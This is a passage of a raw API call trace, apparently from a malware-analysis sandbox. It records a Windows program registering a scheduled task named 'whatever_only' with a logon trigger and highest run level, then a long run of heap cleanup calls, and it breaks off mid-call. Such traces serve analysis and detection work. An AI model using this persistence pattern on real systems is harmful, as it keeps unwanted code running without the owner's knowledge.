[0128.169] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0128.169] IUnknown:Release (This=0x3b6110) returned 0x1 [0128.169] IUnknown:Release (This=0x3b7da0) returned 0x1 [0128.169] ITaskDefinition:get_Triggers (in: This=0x3b7ce0, ppTriggers=0xfcc60 | out: ppTriggers=0xfcc60*=0x3b7ee0) returned 0x0 [0128.170] ITriggerCollection:Create (in: This=0x3b7ee0, Type=9, ppTrigger=0xfcc58 | out: ppTrigger=0xfcc58*=0x3b6180) returned 0x0 [0128.192] IUnknown:QueryInterface (in: This=0x3b6180, riid=0xffc81c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xfcc50 | out: ppvObject=0xfcc50*=0x3b6180) returned 0x0 [0128.192] IUnknown:Release (This=0x3b6180) returned 0x2 [0128.192] _vsnwprintf (in: _Buffer=0xfcba0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xfcb78 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0128.192] ITrigger:put_StartBoundary (This=0x3b6180, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0128.192] lstrlenW (lpString="") returned 0 [0128.192] lstrlenW (lpString="") returned 0 [0128.193] lstrlenW (lpString="") returned 0 [0128.193] lstrlenW (lpString="") returned 0 [0128.193] IUnknown:Release (This=0x3b6180) returned 0x1 [0128.193] IUnknown:Release (This=0x3b7ee0) returned 0x1 [0128.193] ITaskDefinition:get_Settings (in: This=0x3b7ce0, ppSettings=0xfd100 | out: ppSettings=0xfd100*=0x3b5f50) returned 0x0 [0128.193] lstrlenW (lpString="") returned 0 [0128.193] IUnknown:Release (This=0x3b5f50) returned 0x1 [0128.193] GetLocalTime (in: lpSystemTime=0xfcfb8 | out: lpSystemTime=0xfcfb8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x34, wMilliseconds=0xd6)) [0128.193] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0128.193] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0128.193] GetUserNameW (in: lpBuffer=0xfcfe0, pcbBuffer=0xfcfc8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xfcfc8) returned 1 [0128.195] ITaskDefinition:get_RegistrationInfo (in: This=0x3b7ce0, ppRegistrationInfo=0xfcfb0 | out: ppRegistrationInfo=0xfcfb0*=0x3b7e20) returned 0x0 [0128.195] IRegistrationInfo:put_Author (This=0x3b7e20, Author="") returned 0x0 [0128.195] _vsnwprintf (in: _Buffer=0xfcfe0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xfcf78 | out: _Buffer="2022-08-06T02:18:52") returned 19 [0128.195] IRegistrationInfo:put_Date (This=0x3b7e20, Date="") returned 0x0 [0128.195] IUnknown:Release (This=0x3b7e20) returned 0x1 [0128.195] malloc (_Size=0x18) returned 0x3b5ae0 [0128.195] free (_Block=0x3b5ae0) [0128.195] lstrlenW (lpString="") returned 0 [0128.195] ITaskDefinition:get_Principal (in: This=0x3b7ce0, ppPrincipal=0xfd1d0 | out: ppPrincipal=0xfd1d0*=0x3b6060) returned 0x0 [0128.196] IPrincipal:put_RunLevel (This=0x3b6060, RunLevel=1) returned 0x0 [0128.196] IUnknown:Release (This=0x3b6060) returned 0x1 [0128.196] malloc (_Size=0x18) returned 0x3b5ae0 [0128.196] ITaskFolder:RegisterTaskDefinition (in: This=0x3b7c90, Path="whatever_only", pDefinition=0x3b7ce0, flags=6, UserId=0xfd250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfd290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff160, varVal2=0xfe), LogonType=3, sddl=0xfd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xfd170 | out: ppTask=0xfd170*=0x3b6400) returned 0x0 [0128.707] free (_Block=0x3b5ae0) [0128.707] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.707] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0128.707] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0128.707] GetProcessHeap () returned 0x110000 [0128.707] GetProcessHeap () returned 0x110000 [0128.707] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5e0) returned 1 [0128.707] GetProcessHeap () returned 0x110000 [0128.707] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d5e0) returned 0xe [0128.707] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5e0 | out: hHeap=0x110000) returned 1 [0128.707] GetProcessHeap () returned 0x110000 [0128.708] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x82) returned 0x149b40 [0128.708] _vsnwprintf (in: _Buffer=0xfd8b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xfd118 | out: _Buffer="SUCCESS: The scheduled task \"whatever_only\" has successfully been created.\n") returned 75 [0128.708] _fileno (_File=0x7fefed02ab0) returned -2 [0128.708] _errno () returned 0x3b4bb0 [0128.708] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0128.708] SetLastError (dwErrCode=0x6) [0128.708] lstrlenW (lpString="SUCCESS: The scheduled task \"whatever_only\" has successfully been created.\n") returned 75 [0128.708] GetConsoleOutputCP () returned 0x0 [0128.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"whatever_only\" has successfully been created.\n", cchWideChar=75, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75 [0128.708] GetConsoleOutputCP () returned 0x0 [0128.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"whatever_only\" has successfully been created.\n", cchWideChar=75, lpMultiByteStr=0xffcc1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"whatever_only\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 75 [0128.708] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 75 [0128.709] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0128.710] IUnknown:Release (This=0x3b6400) returned 0x0 [0128.710] TaskScheduler:IUnknown:Release (This=0x3b7ce0) returned 0x0 [0128.710] TaskScheduler:IUnknown:Release (This=0x3b7c90) returned 0x0 [0128.710] TaskScheduler:IUnknown:Release (This=0x3b7aa0) returned 0x1 [0128.710] lstrlenW (lpString="") returned 0 [0128.710] GetProcessHeap () returned 0x110000 [0128.710] GetProcessHeap () returned 0x110000 [0128.710] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c2e0) returned 1 [0128.710] GetProcessHeap () returned 0x110000 [0128.710] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c2e0) returned 0x1fc [0128.711] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c2e0 | out: hHeap=0x110000) returned 1 [0128.711] GetProcessHeap () returned 0x110000 [0128.711] GetProcessHeap () returned 0x110000 [0128.711] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d4e0) returned 1 [0128.711] GetProcessHeap () returned 0x110000 [0128.711] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d4e0) returned 0x16 [0128.711] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d4e0 | out: hHeap=0x110000) returned 1 [0128.711] GetProcessHeap () returned 0x110000 [0128.711] GetProcessHeap () returned 0x110000 [0128.711] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d560) returned 1 [0128.711] GetProcessHeap () returned 0x110000 [0128.711] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d560) returned 0x18 [0128.711] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d560 | out: hHeap=0x110000) returned 1 [0128.711] GetProcessHeap () returned 0x110000 [0128.711] GetProcessHeap () returned 0x110000 [0128.711] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cda0) returned 1 [0128.711] GetProcessHeap () returned 0x110000 [0128.711] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cda0) returned 0x20 [0128.712] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cda0 | out: hHeap=0x110000) returned 1 [0128.712] GetProcessHeap () returned 0x110000 [0128.712] GetProcessHeap () returned 0x110000 [0128.712] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c010) returned 1 [0128.712] GetProcessHeap () returned 0x110000 [0128.712] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c010) returned 0xa0 [0128.713] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c010 | out: hHeap=0x110000) returned 1 [0128.713] GetProcessHeap () returned 0x110000 [0128.713] GetProcessHeap () returned 0x110000 [0128.713] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ba90) returned 1 [0128.713] GetProcessHeap () returned 0x110000 [0128.713] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ba90) returned 0x18 [0128.713] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ba90 | out: hHeap=0x110000) returned 1 [0128.713] GetProcessHeap () returned 0x110000 [0128.713] GetProcessHeap () returned 0x110000 [0128.713] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cb30) returned 1 [0128.713] GetProcessHeap () returned 0x110000 [0128.713] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cb30) returned 0x20 [0128.714] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cb30 | out: hHeap=0x110000) returned 1 [0128.714] GetProcessHeap () returned 0x110000 [0128.714] GetProcessHeap () returned 0x110000 [0128.714] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c270) returned 1 [0128.714] GetProcessHeap () returned 0x110000 [0128.714] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c270) returned 0x60 [0128.714] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c270 | out: hHeap=0x110000) returned 1 [0128.714] GetProcessHeap () returned 0x110000 [0128.714] GetProcessHeap () returned 0x110000 [0128.714] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d580) returned 1 [0128.714] GetProcessHeap () returned 0x110000 [0128.714] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d580) returned 0x18 [0128.714] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d580 | out: hHeap=0x110000) returned 1 [0128.715] GetProcessHeap () returned 0x110000 [0128.715] GetProcessHeap () returned 0x110000 [0128.715] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cb00) returned 1 [0128.715] GetProcessHeap () returned 0x110000 [0128.715] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cb00) returned 0x20 [0128.715] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cb00 | out: hHeap=0x110000) returned 1 [0128.715] GetProcessHeap () returned 0x110000 [0128.715] GetProcessHeap () returned 0x110000 [0128.715] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12dcd0) returned 1 [0128.715] GetProcessHeap () returned 0x110000 [0128.715] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12dcd0) returned 0x62 [0128.716] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12dcd0 | out: hHeap=0x110000) returned 1 [0128.716] GetProcessHeap () returned 0x110000 [0128.716] GetProcessHeap () returned 0x110000 [0128.716] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d540) returned 1 [0128.716] GetProcessHeap () returned 0x110000 [0128.716] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d540) returned 0x18 [0128.716] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d540 | out: hHeap=0x110000) returned 1 [0128.716] GetProcessHeap () returned 0x110000 [0128.716] GetProcessHeap () returned 0x110000 [0128.716] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cad0) returned 1 [0128.716] GetProcessHeap () returned 0x110000 [0128.716] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cad0) returned 0x20 [0128.717] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cad0 | out: hHeap=0x110000) returned 1 [0128.717] GetProcessHeap () returned 0x110000 [0128.717] GetProcessHeap () returned 0x110000 [0128.717] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d520) returned 1 [0128.717] GetProcessHeap () returned 0x110000 [0128.717] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d520) returned 0xe [0128.717] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d520 | out: hHeap=0x110000) returned 1 [0128.717] GetProcessHeap () returned 0x110000 [0128.717] GetProcessHeap () returned 0x110000 [0128.717] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d500) returned 1 [0128.717] GetProcessHeap () returned 0x110000 [0128.717] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d500) returned 0x18 [0128.718] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d500 | out: hHeap=0x110000) returned 1 [0128.718] GetProcessHeap () returned 0x110000 [0128.718] GetProcessHeap () returned 0x110000 [0128.718] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125d70) returned 1 [0128.718] GetProcessHeap () returned 0x110000 [0128.718] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125d70) returned 0x20 [0128.718] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125d70 | out: hHeap=0x110000) returned 1 [0128.718] GetProcessHeap () returned 0x110000 [0128.718] GetProcessHeap () returned 0x110000 [0128.718] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bc10) returned 1 [0128.718] GetProcessHeap () returned 0x110000 [0128.718] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bc10) returned 0x208 [0128.719] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bc10 | out: hHeap=0x110000) returned 1 [0128.719] GetProcessHeap () returned 0x110000 [0128.719] GetProcessHeap () returned 0x110000 [0128.719] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ba70) returned 1 [0128.719] GetProcessHeap () returned 0x110000 [0128.719] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ba70) returned 0x18 [0128.719] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ba70 | out: hHeap=0x110000) returned 1 [0128.719] GetProcessHeap () returned 0x110000 [0128.719] GetProcessHeap () returned 0x110000 [0128.719] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125c80) returned 1 [0128.719] GetProcessHeap () returned 0x110000 [0128.719] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125c80) returned 0x20 [0128.719] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125c80 | out: hHeap=0x110000) returned 1 [0128.720] GetProcessHeap () returned 0x110000 [0128.720] GetProcessHeap () returned 0x110000 [0128.720] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d2a0) returned 1 [0128.720] GetProcessHeap () returned 0x110000 [0128.720] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d2a0) returned 0x200 [0128.720] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d2a0 | out: hHeap=0x110000) returned 1 [0128.720] GetProcessHeap () returned 0x110000 [0128.720] GetProcessHeap () returned 0x110000 [0128.720] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bab0) returned 1 [0128.720] GetProcessHeap () returned 0x110000 [0128.720] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bab0) returned 0x18 [0128.720] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bab0 | out: hHeap=0x110000) returned 1 [0128.720] GetProcessHeap () returned 0x110000 [0128.720] GetProcessHeap () returned 0x110000 [0128.720] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125bf0) returned 1 [0128.720] GetProcessHeap () returned 0x110000 [0128.720] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125bf0) returned 0x20 [0128.721] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125bf0 | out: hHeap=0x110000) returned 1 [0128.721] GetProcessHeap () returned 0x110000 [0128.721] GetProcessHeap () returned 0x110000 [0128.721] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c220) returned 1 [0128.721] GetProcessHeap () returned 0x110000 [0128.721] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c220) returned 0x14 [0128.721] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c220 | out: hHeap=0x110000) returned 1 [0128.721] GetProcessHeap () returned 0x110000 [0128.721] GetProcessHeap () returned 0x110000 [0128.721] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c200) returned 1 [0128.721] GetProcessHeap () returned 0x110000 [0128.721] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c200) returned 0x18 [0128.721] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c200 | out: hHeap=0x110000) returned 1 [0128.721] GetProcessHeap () returned 0x110000 [0128.721] GetProcessHeap () returned 0x110000 [0128.721] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125b30) returned 1 [0128.721] GetProcessHeap () returned 0x110000 [0128.721] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125b30) returned 0x20 [0128.721] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125b30 | out: hHeap=0x110000) returned 1 [0128.722] GetProcessHeap () returned 0x110000 [0128.722] GetProcessHeap () returned 0x110000 [0128.722] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c240) returned 1 [0128.722] GetProcessHeap () returned 0x110000 [0128.722] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c240) returned 0x16 [0128.722] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c240 | out: hHeap=0x110000) returned 1 [0128.722] GetProcessHeap () returned 0x110000 [0128.722] GetProcessHeap () returned 0x110000 [0128.722] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c1c0) returned 1 [0128.722] GetProcessHeap () returned 0x110000 [0128.722] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c1c0) returned 0x18 [0128.722] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c1c0 | out: hHeap=0x110000) returned 1 [0128.722] GetProcessHeap () returned 0x110000 [0128.722] GetProcessHeap () returned 0x110000 [0128.722] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125b00) returned 1 [0128.722] GetProcessHeap () returned 0x110000 [0128.722] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125b00) returned 0x20 [0128.723] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125b00 | out: hHeap=0x110000) returned 1 [0128.723] GetProcessHeap () returned 0x110000 [0128.723] GetProcessHeap () returned 0x110000 [0128.723] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12b9f0) returned 1 [0128.723] GetProcessHeap () returned 0x110000 [0128.723] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12b9f0) returned 0x2 [0128.723] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12b9f0 | out: hHeap=0x110000) returned 1 [0128.723] GetProcessHeap () returned 0x110000 [0128.723] GetProcessHeap () returned 0x110000 [0128.723] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125950) returned 1 [0128.723] GetProcessHeap () returned 0x110000 [0128.723] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125950) returned 0x20 [0128.723] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125950 | out: hHeap=0x110000) returned 1 [0128.723] GetProcessHeap () returned 0x110000 [0128.723] GetProcessHeap () returned 0x110000 [0128.724] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125980) returned 1 [0128.724] GetProcessHeap () returned 0x110000 [0128.724] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125980) returned 0x20 [0128.724] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125980 | out: hHeap=0x110000) returned 1 [0128.724] GetProcessHeap () returned 0x110000 [0128.724] GetProcessHeap () returned 0x110000 [0128.724] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x1259b0) returned 1 [0128.724] GetProcessHeap () returned 0x110000 [0128.724] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x1259b0) returned 0x20 [0128.724] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x1259b0 | out: hHeap=0x110000) returned 1 [0128.724] GetProcessHeap () returned 0x110000 [0128.724] GetProcessHeap () returned 0x110000 [0128.724] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x1259e0) returned 1 [0128.724] GetProcessHeap () returned 0x110000 [0128.725] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x1259e0) returned 0x20 [0128.725] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x1259e0 | out: hHeap=0x110000) returned 1 [0128.725] GetProcessHeap () returned 0x110000 [0128.725] GetProcessHeap () returned 0x110000 [0128.725] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cb60) returned 1 [0128.725] GetProcessHeap () returned 0x110000 [0128.725] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cb60) returned 0x20 [0128.725] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cb60 | out: hHeap=0x110000) returned 1 [0128.725] GetProcessHeap () returned 0x110000 [0128.725] GetProcessHeap () returned 0x110000 [0128.725] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d680) returned 1 [0128.725] GetProcessHeap () returned 0x110000 [0128.726] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d680) returned 0xc [0128.726] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d680 | out: hHeap=0x110000) returned 1 [0128.726] GetProcessHeap () returned 0x110000 [0128.726] GetProcessHeap () returned 0x110000 [0128.726] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cb90) returned 1 [0128.726] GetProcessHeap () returned 0x110000 [0128.726] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cb90) returned 0x20 [0128.726] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cb90 | out: hHeap=0x110000) returned 1 [0128.726] GetProcessHeap () returned 0x110000 [0128.726] GetProcessHeap () returned 0x110000 [0128.726] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x127a70) returned 1 [0128.726] GetProcessHeap () returned 0x110000 [0128.726] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x127a70) returned 0x30 [0128.727] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x127a70 | out: hHeap=0x110000) returned 1 [0128.727] GetProcessHeap () returned 0x110000 [0128.727] GetProcessHeap () returned 0x110000 [0128.727] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cbc0) returned 1 [0128.727] GetProcessHeap () returned 0x110000 [0128.727] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cbc0) returned 0x20 [0128.727] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cbc0 | out: hHeap=0x110000) returned 1 [0128.727] GetProcessHeap () returned 0x110000 [0128.727] GetProcessHeap () returned 0x110000 [0128.727] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x127ab0) returned 1 [0128.727] GetProcessHeap () returned 0x110000 [0128.727] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x127ab0) returned 0x30 [0128.727] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x127ab0 | out: hHeap=0x110000) returned 1 [0128.728] GetProcessHeap () returned 0x110000 [0128.728] GetProcessHeap () returned 0x110000 [0128.728] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd70) returned 1 [0128.728] GetProcessHeap () returned 0x110000 [0128.728] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cd70) returned 0x20 [0128.728] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd70 | out: hHeap=0x110000) returned 1 [0128.728] GetProcessHeap () returned 0x110000 [0128.728] GetProcessHeap () returned 0x110000 [0128.728] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5a0) returned 1 [0128.728] GetProcessHeap () returned 0x110000 [0128.728] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d5a0) returned 0x16 [0128.728] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5a0 | out: hHeap=0x110000) returned 1 [0128.728] GetProcessHeap () returned 0x110000 [0128.728] GetProcessHeap () returned 0x110000 [0128.728] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd40) returned 1 [0128.729] GetProcessHeap () returned 0x110000 [0128.729] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cd40) returned 0x20 [0128.729] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd40 | out: hHeap=0x110000) returned 1 [0128.729] GetProcessHeap () returned 0x110000 [0128.729] GetProcessHeap () returned 0x110000 [0128.729] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5c0) returned 1 [0128.729] GetProcessHeap () returned 0x110000 [0128.729] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d5c0) returned 0x16 [0128.729] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5c0 | out: hHeap=0x110000) returned 1 [0128.729] GetProcessHeap () returned 0x110000 [0128.729] GetProcessHeap () returned 0x110000 [0128.729] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd10) returned 1 [0128.729] GetProcessHeap () returned 0x110000 [0128.729] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cd10) returned 0x20 [0128.730] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd10 | out: hHeap=0x110000) returned 1 [0128.730] GetProcessHeap () returned 0x110000 [0128.730] GetProcessHeap () returned 0x110000 [0128.730] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x149b40) returned 1 [0128.730] GetProcessHeap () returned 0x110000 [0128.730] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x149b40) returned 0x82 [0128.730] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x149b40 | out: hHeap=0x110000) returned 1 [0128.731] GetProcessHeap () returned 0x110000 [0128.731] GetProcessHeap () returned 0x110000 [0128.731] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cce0) returned 1 [0128.731] GetProcessHeap () returned 0x110000 [0128.731] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cce0) returned 0x20 [0128.731] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cce0 | out: hHeap=0x110000) returned 1 [0128.731] GetProcessHeap () returned 0x110000 [0128.731] GetProcessHeap () returned 0x110000 [0128.731] HeapValidate (hHeap=0x110000, dwFlags=0x0, 